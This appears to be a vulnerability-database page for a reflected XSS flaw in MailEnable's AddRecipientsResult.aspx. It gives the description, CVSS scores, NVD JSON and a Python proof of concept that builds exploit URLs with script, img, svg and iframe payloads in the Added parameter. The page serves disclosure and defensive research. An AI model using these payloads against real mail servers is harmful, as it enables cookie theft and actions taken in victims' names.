Security Vulnerability Report
中文
CVE-2025-34408 CVSS 6.1 MEDIUM

CVE-2025-34408

Published: 2025-12-09 18:15:51
Last Modified: 2025-12-09 20:19:58

Description

MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the Added parameter of /Mondo/lang/sys/Forms/MAI/AddRecipientsResult.aspx. The Added value is not properly sanitized when processed via a GET request and is reflected in the response, allowing an attacker to break out of existing markup and inject arbitrary script. A remote attacker can supply a crafted payload that closes an existing HTML list element, inserts attacker-controlled JavaScript, and comments out remaining code, leading to script execution in a victim’s browser when the victim visits a malicious link. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE
MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import urllib.parse # CVE-2025-34408 PoC - MailEnable Reflected XSS in AddRecipientsResult.aspx # Target: MailEnable < 10.54 # Endpoint: /Mondo/lang/sys/Forms/MAI/AddRecipientsResult.aspx def generate_xss_payload(): """Generate XSS payload that breaks out of HTML context and injects JavaScript""" # Payload closes existing HTML list element, injects script, comments out rest payload = "</li><script>alert(document.cookie)</script><!--" return payload def construct_exploit_url(target_url, payload): """Construct malicious URL with XSS payload in Added parameter""" encoded_payload = urllib.parse.quote(payload) exploit_url = f"{target_url}/Mondo/lang/sys/Forms/MAI/AddRecipientsResult.aspx?Added={encoded_payload}" return exploit_url # Example usage target = "https://vulnerable-mailenable-server.com" payload = generate_xss_payload() exploit_url = construct_exploit_url(target, payload) print("CVE-2025-34408 - MailEnable Reflected XSS PoC") print(f"Target: {target}") print(f"Payload: {payload}") print(f"Exploit URL: {exploit_url}") # Alternative payloads for different contexts alternative_payloads = [ "</li><img src=x onerror=alert(1)>", # Using img tag with onerror "</li><svg/onload=alert(document.domain)>", # Using SVG onload "</li><iframe src=javascript:alert(document.cookie)>", # Using iframe ] print("\nAlternative Payloads:") for alt_payload in alternative_payloads: print(f" {alt_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34408", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:51.430", "lastModified": "2025-12-09T20:19:58.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the Added parameter of /Mondo/lang/sys/Forms/MAI/AddRecipientsResult.aspx. The Added value is not properly sanitized when processed via a GET request and is reflected in the response, allowing an attacker to break out of existing markup and inject arbitrary script. A remote attacker can supply a crafted payload that closes an existing HTML list element, inserts attacker-controlled JavaScript, and comments out remaining code, leading to script execution in a victim’s browser when the victim visits a malicious link. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-added-parameter-of-mai-addrecipientsresult-aspx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}